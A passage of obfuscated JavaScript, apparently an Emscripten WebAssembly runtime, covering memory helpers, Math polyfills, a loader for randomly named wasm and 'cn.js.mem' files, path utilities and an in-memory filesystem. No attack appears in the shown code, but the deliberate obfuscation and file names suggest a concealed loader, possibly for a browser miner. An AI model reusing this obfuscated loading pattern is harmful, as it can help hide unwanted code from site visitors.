_0x591c04(_0x2a41e7,_0x56c1e6,_0x55081d){_0x399b85['warnOnce']('writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!');var _0x2a6f59,_0x40e529;if(_0x55081d){_0x40e529=_0x56c1e6+_0x5d1e3d(_0x2a41e7);_0x2a6f59=_0x84c7a2[_0x40e529]}_0x453b33(_0x2a41e7,_0x56c1e6,Infinity);if(_0x55081d)_0x84c7a2[_0x40e529]=_0x2a6f59}_0x1ddafb['writeStringToMemory']=_0x591c04;function _0x1c6496(_0x437b21,_0x550582){_0x84c7a2['set'](_0x437b21,_0x550582)}_0x1ddafb['writeArrayToMemory']=_0x1c6496;function _0x2cc1e5(_0x425273,_0x28afe0,_0xfe31aa){for(var _0x38057a=0x0;_0x38057a<_0x425273['length'];++_0x38057a){_0x84c7a2[_0x28afe0++>>0x0]=_0x425273['charCodeAt'](_0x38057a)}if(!_0xfe31aa)_0x84c7a2[_0x28afe0>>0x0]=0x0}_0x1ddafb['writeAsciiToMemory']=_0x2cc1e5;if(!Math['imul']||Math['imul'](0xffffffff,0x5)!==-0x5)Math['imul']=function imul(_0xe7328f,_0x5b4db7){var _0x4af7c6=_0xe7328f>>>0x10;var _0x422bfa=_0xe7328f&0xffff;var _0x17ceda=_0x5b4db7>>>0x10;var _0x58779f=_0x5b4db7&0xffff;return _0x422bfa*_0x58779f+(_0x4af7c6*_0x58779f+_0x422bfa*_0x17ceda<<0x10)|0x0};Math['imul']=Math['imul'];if(!Math['fround']){var _0x5d5c9f=new Float32Array(0x1);Math['fround']=function(_0x417a33){_0x5d5c9f[0x0]=_0x417a33;return _0x5d5c9f[0x0]}}Math['fround']=Math['fround'];if(!Math['clz32'])Math['clz32']=function(_0x4d7a39){_0x4d7a39=_0x4d7a39>>>0x0;for(var _0x5b2bd6=0x0;_0x5b2bd6<0x20;_0x5b2bd6++){if(_0x4d7a39&0x1<<0x1f-_0x5b2bd6)return _0x5b2bd6}return 0x20};Math['clz32']=Math['clz32'];if(!Math['trunc'])Math['trunc']=function(_0x5d75b5){return _0x5d75b5<0x0?Math['ceil'](_0x5d75b5):Math['floor'](_0x5d75b5)};Math['trunc']=Math['trunc'];var _0x4add08=Math['abs'];var _0x12ec6b=Math['cos'];var _0x3c5294=Math['sin'];var _0x2c0cb7=Math['tan'];var _0x5b3fbb=Math['acos'];var _0x122e8e=Math['asin'];var _0x494dc8=Math['atan'];var _0x39b091=Math['atan2'];var _0x347a35=Math['exp'];var _0x345b7c=Math['log'];var _0x272557=Math['sqrt'];var _0x2b63a7=Math['ceil'];var _0x356d74=Math['floor'];var _0x5c547c=Math['pow'];var _0x1a183b=Math['imul'];var _0x4b6e86=Math['fround'];var _0x1bdccd=Math['round'];var _0x270e2f=Math['min'];var _0x487286=Math['clz32'];var _0x1365be=Math['trunc'];var _0x3549a2=0x0;var _0x4e2054=null;var _0x281ff7=null;function _0x20319f(_0x4367a8){return _0x4367a8}function _0x49e3a9(_0x24d752){_0x3549a2++;if(_0x1ddafb['monitorRunDependencies']){_0x1ddafb['monitorRunDependencies'](_0x3549a2)}}_0x1ddafb['addRunDependency']=_0x49e3a9;function _0x467d70(_0x103286){_0x3549a2--;if(_0x1ddafb['monitorRunDependencies']){_0x1ddafb['monitorRunDependencies'](_0x3549a2)}if(_0x3549a2==0x0){if(_0x4e2054!==null){clearInterval(_0x4e2054);_0x4e2054=null}if(_0x281ff7){var _0x766892=_0x281ff7;_0x281ff7=null;_0x766892()}}}_0x1ddafb['removeRunDependency']=_0x467d70;_0x1ddafb['preloadedImages']={};_0x1ddafb['preloadedAudios']={};var _0x152d01=null;function _0x3b6b27(_0x51aeab){var _0x4c083b=_0x51aeab['wasmJSMethod']||'native-wasm';_0x51aeab['wasmJSMethod']=_0x4c083b;var _0x378d03=_0x51aeab['wasmTextFile']||'29aFclJm.wast';var _0x12483f=_0x51aeab['wasmBinaryFile']||'LSQLGnCi.wasm';var _0x51e930=_0x51aeab['asmjsCodeFile']||'nfdLBpDN.temp.asm.js';if(typeof _0x51aeab['locateFile']==='function'){_0x378d03=_0x51aeab['locateFile'](_0x378d03);_0x12483f=_0x51aeab['locateFile'](_0x12483f);_0x51e930=_0x51aeab['locateFile'](_0x51e930)}var _0x5cd674=0x40*0x400;var _0x51e27f={'f64-rem':function(_0x1776c4,_0x45769f){return _0x1776c4%_0x45769f},'f64-to-int':function(_0x3df44f){return _0x3df44f|0x0},'i32s-div':function(_0x562b84,_0x1443bb){return(_0x562b84|0x0)/(_0x1443bb|0x0)|0x0},'i32u-div':function(_0xa1ea2c,_0x7cd2a6){return(_0xa1ea2c>>>0x0)/(_0x7cd2a6>>>0x0)>>>0x0},'i32s-rem':function(_0x5a98a8,_0x163a25){return(_0x5a98a8|0x0)%(_0x163a25|0x0)|0x0},'i32u-rem':function(_0x3cbb2a,_0x43aaff){return(_0x3cbb2a>>>0x0)%(_0x43aaff>>>0x0)>>>0x0},'debugger':function(){debugger}};var _0x15d13f={'global':null,'env':null,'asm2wasm':_0x51e27f,'parent':_0x51aeab};var _0x39a4ec=null;function _0x1854f3(_0x7816b3,_0x1c7205){var _0x1e645b=_0x15d13f;if(_0x7816b3['indexOf']('.')<0x0){_0x1e645b=(_0x1e645b||{})[_0x7816b3]}else{var _0x4c25da=_0x7816b3['split']('.');_0x1e645b=(_0x1e645b||{})[_0x4c25da[0x0]];_0x1e645b=(_0x1e645b||{})[_0x4c25da[0x1]]}if(_0x1c7205){_0x1e645b=(_0x1e645b||{})[_0x1c7205]}if(_0x1e645b===undefined){_0x69c2fc('bad lookupImport to ('+_0x7816b3+').'+_0x1c7205)}return _0x1e645b}function _0x28a966(_0x29ed47){var _0x40de93=_0x51aeab['buffer'];if(_0x29ed47['byteLength']<_0x40de93['byteLength']){_0x51aeab['printErr']('the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here')}var _0x37545c=new Int8Array(_0x40de93);var _0x1852e0=new Int8Array(_0x29ed47);if(!_0x152d01){_0x37545c['set'](_0x1852e0['subarray'](_0x51aeab['STATIC_BASE'],_0x51aeab['STATIC_BASE']+_0x51aeab['STATIC_BUMP']),_0x51aeab['STATIC_BASE'])}_0x1852e0['set'](_0x37545c);_0x3c179d(_0x29ed47);_0x141401()}var _0x43a525={'none':0x0,'i32':0x1,'i64':0x2,'f32':0x3,'f64':0x4};function _0x3554b1(_0x212646){if(!0x0)return _0x212646;var _0x5761ba={};for(var _0x1ad676 in _0x212646){var _0x3feb42=_0x1ad676;if(_0x3feb42[0x0]=='_')_0x3feb42=_0x3feb42['substr'](0x1);_0x5761ba[_0x3feb42]=_0x212646[_0x1ad676]}return _0x5761ba}function _0x49e700(){if(!_0x51aeab['wasmBinary']&&typeof fetch==='function'){return fetch(_0x12483f,{'credentials':'same-origin'})['then'](function(_0x3ec75a){if(!_0x3ec75a['ok']){throw'failed to load wasm binary file at ''+_0x12483f+'''}return _0x3ec75a['arrayBuffer']()})}return new Promise(function(_0x2d4d21,_0x1e9721){_0x2d4d21(_0x5994e1())})}function _0x3c9a0b(_0x30949f,_0x3aca41,_0x268554){if(typeof WebAssembly!=='object'){_0x51aeab['printErr']('no native wasm support detected');return![]}if(!(_0x51aeab['wasmMemory']instanceof WebAssembly['Memory'])){_0x51aeab['printErr']('no native wasm Memory in use');return![]}_0x3aca41['memory']=_0x51aeab['wasmMemory'];_0x15d13f['global']={'NaN':NaN,'Infinity':Infinity};_0x15d13f['global.Math']=_0x30949f['Math'];_0x15d13f['env']=_0x3aca41;function _0x8136d8(_0xc3bd79){_0x39a4ec=_0xc3bd79['exports'];if(_0x39a4ec['memory'])_0x28a966(_0x39a4ec['memory']);_0x51aeab['asm']=_0x39a4ec;_0x51aeab['usingWasm']=!![];_0x467d70('wasm-instantiate')}_0x49e3a9('wasm-instantiate');if(_0x51aeab['instantiateWasm']){try{return _0x51aeab['instantiateWasm'](_0x15d13f,_0x8136d8)}catch(_0x43d988){_0x51aeab['printErr']('Module.instantiateWasm callback failed with error: '+_0x43d988);return![]}}_0x49e700()['then'](function(_0x524b6d){return WebAssembly['instantiate'](_0x524b6d,_0x15d13f)})['then'](function(_0x4f2066){_0x8136d8(_0x4f2066['instance'])})['catch'](function(_0x304892){_0x51aeab['printErr']('failed to asynchronously prepare wasm: '+_0x304892);_0x69c2fc(_0x304892)});return{}}_0x51aeab['asmPreload']=_0x51aeab['asm'];var _0x34bb6d=_0x51aeab['reallocBuffer'];var _0x4f0f81=function(_0x4c3ef8){var _0x533d2a=_0x51aeab['usingWasm']?_0xe4c561:_0x3fa278;_0x4c3ef8=_0x5f21d8(_0x4c3ef8,_0x533d2a);var _0x17c175=_0x51aeab['buffer'];var _0x4cdda1=_0x17c175['byteLength'];if(_0x51aeab['usingWasm']){try{var _0x5657b5=_0x51aeab['wasmMemory']['grow']((_0x4c3ef8-_0x4cdda1)/_0x5cd674);if(_0x5657b5!==(-0x1|0x0)){return _0x51aeab['buffer']=_0x51aeab['wasmMemory']['buffer']}else{return null}}catch(_0x2b08c4){return null}}else{_0x39a4ec['__growWasmMemory']((_0x4c3ef8-_0x4cdda1)/_0x5cd674);return _0x51aeab['buffer']!==_0x17c175?_0x51aeab['buffer']:null}};_0x51aeab['reallocBuffer']=function(_0x4fd400){if(_0x39962a==='asmjs'){return _0x34bb6d(_0x4fd400)}else{return _0x4f0f81(_0x4fd400)}};var _0x39962a='';_0x51aeab['asm']=function(_0x1ad3fe,_0x4885b1,_0x3b64c2){_0x1ad3fe=_0x3554b1(_0x1ad3fe);_0x4885b1=_0x3554b1(_0x4885b1);if(!_0x4885b1['table']){var _0x2f818f=_0x51aeab['wasmTableSize'];if(_0x2f818f===undefined)_0x2f818f=0x400;var _0x298e78=_0x51aeab['wasmMaxTableSize'];if(typeof WebAssembly==='object'&&typeof WebAssembly['Table']==='function'){if(_0x298e78!==undefined){_0x4885b1['table']=new WebAssembly['Table']({'initial':_0x2f818f,'maximum':_0x298e78,'element':'anyfunc'})}else{_0x4885b1['table']=new WebAssembly['Table']({'initial':_0x2f818f,'element':'anyfunc'})}}else{_0x4885b1['table']=new Array(_0x2f818f)}_0x51aeab['wasmTable']=_0x4885b1['table']}if(!_0x4885b1['memoryBase']){_0x4885b1['memoryBase']=_0x51aeab['STATIC_BASE']}if(!_0x4885b1['tableBase']){_0x4885b1['tableBase']=0x0}var _0x56c79d;_0x56c79d=_0x3c9a0b(_0x1ad3fe,_0x4885b1,_0x3b64c2);return _0x56c79d};var _0x4df30a=_0x51aeab['asm']}_0x3b6b27(_0x1ddafb);var _0x5d4a1e=[];_0xc70cdd=_0x399b85['GLOBAL_BASE'];_0x2dbd33=_0xc70cdd+0x30e0;_0x2104c7['push']();_0x152d01=_0x1ddafb['wasmJSMethod']['indexOf']('asmjs')>=0x0||_0x1ddafb['wasmJSMethod']['indexOf']('interpret-asm2wasm')>=0x0?'cn.js.mem':null;var _0x4a9906=0x30e0;_0x1ddafb['STATIC_BASE']=_0xc70cdd;_0x1ddafb['STATIC_BUMP']=_0x4a9906;var _0x54b727=_0x2dbd33;_0x2dbd33+=0x10;function _0x1b3c4b(_0xc809ce,_0x4355fe,_0x28f4ec,_0x5549ef){_0x4b355c=!![];throw'Assertion failed: '+_0x561b9c(_0xc809ce)+', at: '+[_0x4355fe?_0x561b9c(_0x4355fe):'unknown filename',_0x28f4ec,_0x5549ef?_0x561b9c(_0x5549ef):'unknown function']+' at '+_0x2b7c9f()}var _0x3f08cb={'ppid':0x1,'pid':0x2a,'sid':0x2a,'pgid':0x2a};var _0x161ccf={};var _0x11dc64={};function _0x24333c(_0x2ad546){if(_0x1ddafb['___errno_location'])_0x19d918[_0x1ddafb['___errno_location']()>>0x2]=_0x2ad546;return _0x2ad546}var _0x55fbd7={'splitPath':function(_0x32794c){var _0x5534a9=/^(/?|)([sS]*?)((?:.{1,2}|[^/]+?|)(.[^./]*|))(?:[/]*)$/;return _0x5534a9['exec'](_0x32794c)['slice'](0x1)},'normalizeArray':function(_0x5c733f,_0xefd61b){var _0xffefdd=0x0;for(var _0x388f6b=_0x5c733f['length']-0x1;_0x388f6b>=0x0;_0x388f6b--){var _0x249ec7=_0x5c733f[_0x388f6b];if(_0x249ec7==='.'){_0x5c733f['splice'](_0x388f6b,0x1)}else if(_0x249ec7==='..'){_0x5c733f['splice'](_0x388f6b,0x1);_0xffefdd++}else if(_0xffefdd){_0x5c733f['splice'](_0x388f6b,0x1);_0xffefdd--}}if(_0xefd61b){for(;_0xffefdd;_0xffefdd--){_0x5c733f['unshift']('..')}}return _0x5c733f},'normalize':function(_0x11abb5){var _0x290c41=_0x11abb5['charAt'](0x0)==='/',_0x5313aa=_0x11abb5['substr'](-0x1)==='/';_0x11abb5=_0x55fbd7['normalizeArray'](_0x11abb5['split']('/')['filter'](function(_0x5cd84a){return!!_0x5cd84a}),!_0x290c41)['join']('/');if(!_0x11abb5&&!_0x290c41){_0x11abb5='.'}if(_0x11abb5&&_0x5313aa){_0x11abb5+='/'}return(_0x290c41?'/':'')+_0x11abb5},'dirname':function(_0x2c4a8c){var _0x3f0e57=_0x55fbd7['splitPath'](_0x2c4a8c),_0x232d31=_0x3f0e57[0x0],_0x365abe=_0x3f0e57[0x1];if(!_0x232d31&&!_0x365abe){return'.'}if(_0x365abe){_0x365abe=_0x365abe['substr'](0x0,_0x365abe['length']-0x1)}return _0x232d31+_0x365abe},'basename':function(_0x487b37){if(_0x487b37==='/')return'/';var _0x53458d=_0x487b37['lastIndexOf']('/');if(_0x53458d===-0x1)return _0x487b37;return _0x487b37['substr'](_0x53458d+0x1)},'extname':function(_0x30482b){return _0x55fbd7['splitPath'](_0x30482b)[0x3]},'join':function(){var _0x37d7c3=Array['prototype']['slice']['call'](arguments,0x0);return _0x55fbd7['normalize'](_0x37d7c3['join']('/'))},'join2':function(_0x416be5,_0x26896f){return _0x55fbd7['normalize'](_0x416be5+'/'+_0x26896f)},'resolve':function(){var _0x29e0d2='',_0x2fa5c0=![];for(var _0x10c42f=arguments['length']-0x1;_0x10c42f>=-0x1&&!_0x2fa5c0;_0x10c42f--){var _0x46979d=_0x10c42f>=0x0?arguments[_0x10c42f]:_0x521ba3['cwd']();if(typeof _0x46979d!=='string'){throw new TypeError('Arguments to path.resolve must be strings')}else if(!_0x46979d){return''}_0x29e0d2=_0x46979d+'/'+_0x29e0d2;_0x2fa5c0=_0x46979d['charAt'](0x0)==='/'}_0x29e0d2=_0x55fbd7['normalizeArray'](_0x29e0d2['split']('/')['filter'](function(_0x2740d6){return!!_0x2740d6}),!_0x2fa5c0)['join']('/');return(_0x2fa5c0?'/':'')+_0x29e0d2||'.'},'relative':function(_0x492286,_0x39b7c9){_0x492286=_0x55fbd7['resolve'](_0x492286)['substr'](0x1);_0x39b7c9=_0x55fbd7['resolve'](_0x39b7c9)['substr'](0x1);function _0x2a98aa(_0x204f30){var _0xc2281=0x0;for(;_0xc2281<_0x204f30['length'];_0xc2281++){if(_0x204f30[_0xc2281]!=='')break}var _0x3094fa=_0x204f30['length']-0x1;for(;_0x3094fa>=0x0;_0x3094fa--){if(_0x204f30[_0x3094fa]!=='')break}if(_0xc2281>_0x3094fa)return[];return _0x204f30['slice'](_0xc2281,_0x3094fa-_0xc2281+0x1)}var _0x44881c=_0x2a98aa(_0x492286['split']('/'));var _0x4d6d9e=_0x2a98aa(_0x39b7c9['split']('/'));var _0x44cd4f=Math['min'](_0x44881c['length'],_0x4d6d9e['length']);var _0x33a7ba=_0x44cd4f;for(var _0x1ada81=0x0;_0x1ada81<_0x44cd4f;_0x1ada81++){if(_0x44881c[_0x1ada81]!==_0x4d6d9e[_0x1ada81]){_0x33a7ba=_0x1ada81;break}}var _0x564c55=[];for(var _0x1ada81=_0x33a7ba;_0x1ada81<_0x44881c['length'];_0x1ada81++){_0x564c55['push']('..')}_0x564c55=_0x564c55['concat'](_0x4d6d9e['slice'](_0x33a7ba));return _0x564c55['join']('/')}};var _0x20fcdf={'ttys':[],'init':function(){},'shutdown':function(){},'register':function(_0x59e053,_0xd16987){_0x20fcdf['ttys'][_0x59e053]={'input':[],'output':[],'ops':_0xd16987};_0x521ba3['registerDevice'](_0x59e053,_0x20fcdf['stream_ops'])},'stream_ops':{'open':function(_0x570352){var _0x18a392=_0x20fcdf['ttys'][_0x570352['node']['rdev']];if(!_0x18a392){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENODEV'])}_0x570352['tty']=_0x18a392;_0x570352['seekable']=![]},},};var _0x36a506={'ops_table':null,'mount':function(_0x2abb0f){return _0x36a506['createNode'](null,'/',0x4000|0x1ff,0x0)},'createNode':function(_0x25413f,_0x479893,_0x5824b3,_0x34484){if(_0x521ba3['isBlkdev'](_0x5824b3)||_0x521ba3['isFIFO'](_0x5824b3)){throw new _0x521ba3['ErrnoError'](_0x161ccf['EPERM'])}if(!_0x36a506['ops_table']){_0x36a506['ops_table']={'dir':{'node':{'getattr':_0x36a506['node_ops']['getattr'],'setattr':_0x36a506['node_ops']['setattr'],'lookup':_0x36a506['node_ops']['lookup'],'mknod':_0x36a506['node_ops']['mknod'],'rename':_0x36a506['node_ops']['rename'],'unlink':_0x36a506['node_ops']['unlink'],'rmdir':_0x36a506['node_ops']['rmdir'],'readdir':_0x36a506['node_ops']['readdir'],'symlink':_0x36a506['node_ops']['symlink']},'stream':{'llseek':_0x36a506['stream_ops']['llseek']}},'file':{'node':{'getattr':_0x36a506['node_ops']['getattr'],'setattr':_0x36a506['node_ops']['setattr']},'stream':{'llseek':_0x36a506['stream_ops']['llseek'],'read':_0x36a506['stream_ops']['read'],'write':_0x36a506['stream_ops']['write'],'allocate':_0x36a506['stream_ops']['allocate'],'mmap':_0x36a506['stream_ops']['mmap'],'msync':_0x36a506['stream_ops']['msync']}},'link':{'node':{'getattr':_0x36a506['node_ops']['getattr'],'setattr':_0x36a506['node_ops']['setattr'],'readlink':_0x36a506['node_ops']['readlink']},'stream':{}},'chrdev':{'node':{'getattr':_0x36a506['node_ops']['getattr'],'setattr':_0x36a506['node_ops']['setattr']},'stream':_0x521ba3['chrdev_stream_ops']}}}var _0x2a9044=_0x521ba3['createNode'](_0x25413f,_0x479893,_0x5824b3,_0x34484);if(_0x521ba3['isDir'](_0x2a9044['mode'])){_0x2a9044['node_ops']=_0x36a506['ops_table']['dir']['node'];_0x2a9044['stream_ops']=_0x36a506['ops_table']['dir']['stream'];_0x2a9044['contents']={}}else if(_0x521ba3['isFile'](_0x2a9044['mode'])){_0x2a9044['node_ops']=_0x36a506['ops_table']['file']['node'];_0x2a9044['stream_ops']=_0x36a506['ops_table']['file']['stream'];_0x2a9044['usedBytes']=0x0;_0x2a9044['contents']=null}else if(_0x521ba3['isLink'](_0x2a9044['mode'])){_0x2a9044['node_ops']=_0x36a506['ops_table']['link']['node'];_0x2a9044['stream_ops']=_0x36a506['ops_table']['link']['stream']}else if(_0x521ba3['isChrdev'](_0x2a9044['mode'])){_0x2a9044['node_ops']=_0x36a506['ops_table']['chrdev']['node'];_0x2a9044['stream_ops']=_0x36a506['ops_table']['chrdev']['stream']}_0x2a9044['timestamp']=Date['now']();if(_0x25413f){_0x25413f['contents'][_0x479893]=_0x2a9044}return _0x2a9044},'node_ops':{'getattr':function(_0x29093e){var _0x11d231={};_0x11d231['dev']=_0x521ba3['isChrdev'](_0x29093e['mode'])?_0x29093e['id']:0x1;_0x11d231['ino']=_0x29093e['id'];_0x11d231['mode']=_0x29093e['mode'];_0x11d231['nlink']=0x1;_0x11d231['uid']=0x0;_0x11d231['gid']=0x0;_0x11d231['rdev']=_0x29093e['rdev'];if(_0x521ba3['isDir'](_0x29093e['mode'])){_0x11d231['size']=0x1000}else if(_0x521ba3['isFile'](_0x29093e['mode'])){_0x11d231['size']=_0x29093e['usedBytes']}else if(_0x521ba3['isLink'](_0x29093e['mode'])){_0x11d231['size']=_0x29093e['link']['length']}else{_0x11d231['size']=0x0}_0x11d231['atime']=new Date(_0x29093e['timestamp']);_0x11d231['mtime']=new Date(_0x29093e['timestamp']);_0x11d231['ctime']=new Date(_0x29093e['timestamp']);_0x11d231['blksize']=0x1000;_0x11d231['blocks']=Math['ceil'](_0x11d231['size']/_0x11d231['blksize']);return _0x11d231},'setattr':function(_0x212d47,_0x2d987a){if(_0x2d987a['mode']!==undefined){_0x212d47['mode']=_0x2d987a['mode']}if(_0x2d987a['timestamp']!==undefined){_0x212d47['timestamp']=_0x2d987a['timestamp']}if(_0x2d987a['size']!==undefined){_0x36a506['resizeFileStorage'](_0x212d47,_0x2d987a['size'])}},'lookup':function(_0x58091f,_0xb2fea7){throw _0x521ba3['genericErrors'][_0x161ccf['ENOENT']]},'mknod':function(_0x37dc9d,_0x2e9c70,_0x1c3228,_0x4c1a84){return _0x36a506['createNode'](_0x37dc9d,_0x2e9c70,_0x1c3228,_0x4c1a84)},'rename':function(_0x4dfeb2,_0x8d3672,_0x44f9b1){if(_0x521ba3['isDir'](_0x4dfeb2['mode'])){var _0x1a89ac;try{_0x1a89ac=_0x521ba3['lookupNode'](_0x8d3672,_0x44f9b1)}catch(_0x3bed77){}if(_0x1a89ac){for(var _0x180e56 in _0x1a89ac['contents']){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOTEMPTY'])}}}delete _0x4dfeb2['parent']['contents'][_0x4dfeb2['name']];_0x4dfeb2['name']=_0x44f9b1;_0x8d3672['contents'][_0x44f9b1]=_0x4dfeb2;_0x4dfeb2['parent']=_0x8d3672},'unlink':function(_0x28e44f,_0x2705fc){delete _0x28e44f['contents'][_0x2705fc]},'rmdir':function(_0x1e324e,_0x5a9afd){var _0x304361=_0x521ba3['lookupNode'](_0x1e324e,_0x5a9afd);for(var _0x1165f2 in _0x304361['contents']){throw new _0x521ba3['ErrnoError'](_0x161ccf['ENOTEMPTY'])}delete _0x1e324e['contents'][_0x5a9afd]},'readdir':function(_0x1728e5){var _0x38769c=['.','..'];for(var _0x560e2b in _0x1728e5['contents']){if(!_0x1728e5['contents']['hasOwnProperty'](_0x560e2b)){continue}_0x38769c['push'](_0x560e2b)}return _0x38769c},'symlink':function(_0x162f96,_0x5ab1c0,_0x4e3357){var _0x30c134=_0x36a506['createNode'](_0x162f96,_0x5ab1c0,0x1ff|0xa000,0x0);_0x30c134['link']=_0x4e3357;return _0x30c134},'readlink':function(_0x4750db){if(!_0x521ba3['isLink'](_0x4750db['mode'])){throw new _0x521ba3['ErrnoError'](_0x161ccf['EINVAL'])}return _0x4750db['link']}},'stream_ops':{'llseek':function(_0x5795c1,_0x56f0fb,_0x5b114b){var _0x90416b=_0x56f0fb;if(_0x5b114b===0x1){_0x90416b+=_0x5795c1['position']}else if(_0x5b114b===0x2){if(_0x521ba3['isFile'](_0x5795c1['node']['mode'])){_0x90416b+=_0x5795c1['node']['usedBytes']}}if(_0x90416b<0x0){throw new _0x521ba3['ErrnoError'](_0x161ccf['EINVAL'])}return _0x90416b},}};var _0x1b85ed={};var _0xe4914f={};var _0x4ec258={};_0x2dbd33+=0x10;_0x2dbd33+=0x10;_0x2dbd33+=0x10;var _0x521ba3={'root':null,'mounts':[],'devices':[null],'streams':[],'nextInode':0x1,'nameTable':null,'currentPath':'/','initialized':![],'ignorePermissions':!![],'trackingDelegate':{},'tracking':{'openFlags':{'READ':0x1,'WRITE':0x2}},'ErrnoError':null,'genericErrors':{},'filesystems':null,'syncFSRequests':0x0,'handleFSError':function(_0xe075eb){if(!(_0xe075eb instanceof _0x521ba3['ErrnoError']))throw _0xe075eb+' : '+_0x2b7c9f();return _0x24333c(_0xe075eb['errno'])},'lookupPath':function(_0x2049d1,_0x341a35){_0x2049d1=_0x55fbd7['resolve'](_0x521ba3['cwd'](),_0x2049d1);_0x341a35=_0x341a35||{};if(!_0x2049d1)return{'path':'','node':null};var _0xe937dd={'follow_mount':!![],'recurse_count':0x0};for(var _0x13e20e in _0xe937dd){if(_0x341a35[_0x13e20e]===undefined){_0x341a35[_0x13e20e]=_0xe937dd[_0x13e20e]}}if(_0x341a35['recurse_count']>0x8){throw new _0x521ba3['ErrnoError'](_0x161ccf['ELOOP'])}var _0xebb072=_0x55fbd7['normalizeArray'](_0x2049d1['split']('/')['filter'](function(_0x44d15d){return!!_0x44d15d}),![]);var _0x437486=_0x521ba3['root'];var _0x5cad68='/';for(var _0x3226f6=0x0;_0x3226f6<_0xebb072['length'];_0x3226f6++){var _0x1ad248=_0x3226f6===_0xebb072['length']-0x1;if(_0x1ad248&&_0x341a35['parent']){break}_0x437486=_0x521ba3['lookupNode'](_0x437486,_0xebb072[_0x3226f6]);_0x5cad68=_0x55fbd7['join2'](_0x5cad68,_0xebb072[_0x3226f6]);if(_0x521ba3['isMountpoint'](_0x437486)){if(!_0x1ad248||_0x1ad248&&_0x341a35['follow_mount']){_0x437486=_0x437486['mounted']['root']}}if(!_0x1ad248||_0x341a35['follow']){var _0x3f2777=0x0;while(_0x521ba3['isLink'](_0x437486['mode'])){var _0x452e2a=_0x521ba3['readlink'](_0x5cad68);_0x5cad68=_0x55fbd7['resolve'](_0x55fbd7['dirname'](_0x5cad68),_0x452e2a);var _0x2dabb9=_0x521ba3['lookupPath'](_0x5cad68,{'recurse_count':_0x341a35['recurse_count']});_0x437486=_0x2dabb9['node'];if(_0x3f2777++>0x28){throw new _0x521ba3['ErrnoError'](_0x161ccf['ELOOP'])}}}}return{'path':_0x5cad68,'node':_0x437486}},'getPath':function(_0x9a0334){var _0x25e66c;while(!![]){if(_0x521ba3['isRoot'](_0x9a0334)){var _0x5a89a7=_0x9a0334['mount']['mountpoint'];if(!_0x25e66c)return _0x5a89a7;return _0x5a89a7[_0x5a89a7['length']-0x1]!=='/'?_0x5a89a7+'/'+_0x25e66c:_0x5a89a7+_0x25e66c}_0x25e66c=_0x25e66c?_0x9a0334['name']+'/'+_0x25e66c:_0x9a0334['name'];_0x9a0334=_0x9a0334['parent']}},'hashName':function(_0x400f7c,_0x54e4e6){var _0x4bb992=0x0;for(var _0x2c8994=0x0;_0x2c8994<_0x54e4e6['length'];_0x2c8994++){_0x4bb992=(_0x4bb992<<0x5)-_0x4bb992+_0x54e4e6['charCodeAt'](_0x2c8994)|0x0}return(_0x400f7c+_0x4bb992>>>0x0)%_0x521ba3['nameTable']['length']},'hashAddNode':function(_0x828b34){var _0x3bbbe5=_0x521ba3['hashName'](_0x828b34['parent']['id'],_0x828b34['name']);_0x828b34['name_next']=_0x521ba3['nameTable'][_0x3bbbe5];_0x521ba3['nameTable'][_0x3bbbe5]=_0x828b34},'hashRemoveNode':function(_0x44aada){var _0x1c7ef0=_0x521ba3['hashName'](_0x44aada['parent']['id'],_0x44aada['name']);if(_0x521ba3['nameTable'][_0x1c7ef0]===_0x44aada){_0x521ba3['nameTable'][_0x1c7ef0]=_0x44aada['name_next']}else{var _0x3a19bb=_0x521ba3['nameTable'][_0x1c7ef0];while(_0x3a19bb){if(_0x3a19bb['name_next']===_0x44aada){_0x3a19bb['name_next']=_0x44aada['name_next'];break}_0x3a19bb=_0x3a19bb['name_next']}}},'lookupNode':function(_0x3db8cc,_0x9a2437){var _0x4721c2=_0x521ba3['mayLookup'](_0x3db8cc);if(_0x4721c2){throw new _0x521ba3['ErrnoError'](_0x4721c2,_0x3db8cc)}var _0x2afdd7=_0x521ba3['hashName'](_0x3db8cc['id'],_0x9a2437);for(var _0x565efc=_0x521ba3['nameTable'][_0x2afdd7];_0x565efc;_0x565efc=_0x565efc['name_next']){var _0x52c058=_0x565efc['name'];if(_0x565efc['parent']['id']===_0x3db8cc['id']&&_0x52c058===_0x9a2437){return _0x565efc}}return _0x521ba3['lookup'](_0x3db8cc,_0x9a2437)},'createNode':function(_0x2eadc9,_0x4fd4cc,_0x4c5874,_0x224880){if(!_0x521ba3['FSNode']){_0x521ba3['FSNode']=function(_0x17d4b2,_0x196930,_0x400701,_0x5be284){if(!_0x17d4b2){_0x17d4b2=this}this['parent']=_0x17d4b2;this['mount']=_0x17d4b2['mount'];this['mounted']=null;this['id']=_0x521ba3['nextInode']++;this['name']=_0x196930;this['mode']=_0x400701;this['node_ops']={};this['stream_ops']={};this['rdev']=_0x5be284};_0x521ba3['FSNode']['prototype']={};var _0x20d27f=0x124|0x49;var _0x2abec3=0x92;Object['defineProperties'](_0x521ba3['FSNode']['prototype'],{'read':{'get':function(){return(this['mode']&_0x20d27f)===_0x20d27f},'set':function(_0x3fe102){_0x3fe102?this['mode']|=_0x20d27f:this['mode']&=~_0x20d27f}},'write':{'get':function(){return(this['mode']&_0x2abec3)===_0x2abec3},'set':function(_0x19aa91){_0x19aa91?this['mode']|=_0x2abec3:this['mode']&=~_0x2abec3}},'isFolder':{'get':function(){return _0x521ba3['isDir'](this['mode'])}},'isDevice':{'get':function(){return _0x521ba3['isChrdev'](this['mode'])}}})}var _0x561ad4=new _0x521ba3['FSNode'](_0x2eadc9,_0x4fd4cc,_0x4c5874,_0x224880);_0x521ba3['hashAddNode'](_0x561ad4);return _0x561ad4},'destroyNode':function(_0x418a01){_0x521ba3['hashRemoveNode'](_0x418a01)},'isRoot':function(_0x3d76b2){return 